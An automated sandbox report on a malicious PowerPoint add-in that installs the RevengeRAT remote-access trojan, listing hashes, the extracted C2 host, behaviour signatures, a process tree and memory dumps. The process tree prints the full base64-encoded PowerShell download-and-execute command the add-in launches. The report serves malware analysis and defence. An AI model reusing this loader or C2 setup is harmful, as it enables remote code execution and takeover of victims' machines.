Analysis

  • max time kernel
    118s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    24-02-2024 08:47

General

  • Target

    reservas.ppam

  • Size

    16KB

  • MD5

    5e6c2b4b6bae7269c8127ae4368f0178

  • SHA1

    29299b7437a5225885af5c152c17955adba89511

  • SHA256

    b402239273ce6dbd40ac5087661d66176092a6f848fd521eea1ed2ad6012672c

  • SHA512

    fbf55d29917b5610ed0e95ba6bd7bad6beb08dd5eecb1c71848746fa387e30e2b9b2f0b952517249d9b2092d526fc8c7eb288a398b4319069529f94c69c6e71a

  • SSDEEP

    384:dXPz8GKfDSmH+V6WMxj7mV+ZOA9B0+6lZFUADrbA:VPoGKbSmHYCZOuB0+6vHY

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

brasil.ddns.com.br:333

Mutex

5e241e476b334640a2f

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\reservas.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:2968
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1504
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAG0AYQBzAHQAZQByAC0AMgA3ADEAYgA4AC4AYQBwAHAAcwBwAG8AdAAuAGMAbwBtAC8AbwAvAGMAbABpAGUAbgB0AHgAeAB4AHgAeAB4AHgAeAB4AC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9AGQAMQA1ADQAZgBmADcAZAAtAGYAMgAyADYALQA0ADgAZAAwAC0AYQA5AGQANwAtADEAMgAwADAANwA2ADQAYwBhAGIANABlAA0ACgAnACkAOwAgAA0ACgByAGUARQBhAFoAYQBIAEIAYQBGAHAAZABSAFEAUQB0AHYASQBoAHoAYQBuAEEATABPAGIAYgBCAHAAVgBUAE8ARABRAGUAdwBXAEIATQBZAGMAQgBKAGkASQBTAHoASwBKAEkAeQB0AHYAcABSAEMASwB0AHUAWQBCAGgAbwBHAGkAQgBIAGEATABGAEEAUgBXAGsAVwANAAoA""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:584
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Checks processor information in registry
          PID:1200

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/584-26-0x00000000021A0000-0x00000000021B8000-memory.dmp
      Filesize

      96KB

    • memory/584-32-0x00000000021A0000-0x00000000021B8000-memory.dmp
      Filesize

      96KB

    • memory/584-47-0x000000006B9D0000-0x000000006BF7B000-memory.dmp
      Filesize

      5.7MB

    • memory/584-24-0x00000000021A0000-0x00000000021B8000-memory.dmp
      Filesize

      96KB

    • memory/584-33-0x00000000021E0000-0x00000000021E1000-memory.dmp
      Filesize

      4KB

    • memory/584-21-0x00000000021A0000-0x00000000021B8000-memory.dmp
      Filesize

      96KB

    • memory/584-28-0x00000000021A0000-0x00000000021B8000-memory.dmp
      Filesize

      96KB

    • memory/584-30-0x00000000021A0000-0x00000000021B8000-memory.dmp
      Filesize

      96KB

    • memory/584-17-0x000000006B9D0000-0x000000006BF7B000-memory.dmp
      Filesize

      5.7MB

    • memory/584-18-0x000000006B9D0000-0x000000006BF7B000-memory.dmp
      Filesize

      5.7MB

    • memory/584-19-0x0000000002680000-0x00000000026C0000-memory.dmp
      Filesize

      256KB

    • memory/584-20-0x0000000002680000-0x00000000026C0000-memory.dmp
      Filesize

      256KB

    • memory/584-22-0x00000000021A0000-0x00000000021B8000-memory.dmp
      Filesize

      96KB

    • memory/1200-42-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1200-44-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1200-53-0x0000000001300000-0x0000000001340000-memory.dmp
      Filesize

      256KB

    • memory/1200-52-0x0000000067690000-0x0000000067D7E000-memory.dmp
      Filesize

      6.9MB

    • memory/1200-51-0x0000000001300000-0x0000000001340000-memory.dmp
      Filesize

      256KB

    • memory/1200-48-0x0000000067690000-0x0000000067D7E000-memory.dmp
      Filesize

      6.9MB

    • memory/1200-46-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1200-34-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1200-36-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1200-37-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1200-39-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1200-40-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
      Filesize

      4KB

    • memory/2968-12-0x0000000004E80000-0x0000000004F80000-memory.dmp
      Filesize

      1024KB

    • memory/2968-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2968-14-0x0000000004E80000-0x0000000004F80000-memory.dmp
      Filesize

      1024KB

    • memory/2968-11-0x0000000004E80000-0x0000000004F80000-memory.dmp
      Filesize

      1024KB

    • memory/2968-2-0x000000007294D000-0x0000000072958000-memory.dmp
      Filesize

      44KB

    • memory/2968-49-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2968-50-0x000000007294D000-0x0000000072958000-memory.dmp
      Filesize

      44KB

    • memory/2968-7-0x0000000004E80000-0x0000000004F80000-memory.dmp
      Filesize

      1024KB

    • memory/2968-0-0x000000002D531000-0x000000002D532000-memory.dmp
      Filesize

      4KB

    • memory/2968-13-0x000000007294D000-0x0000000072958000-memory.dmp
      Filesize

      44KB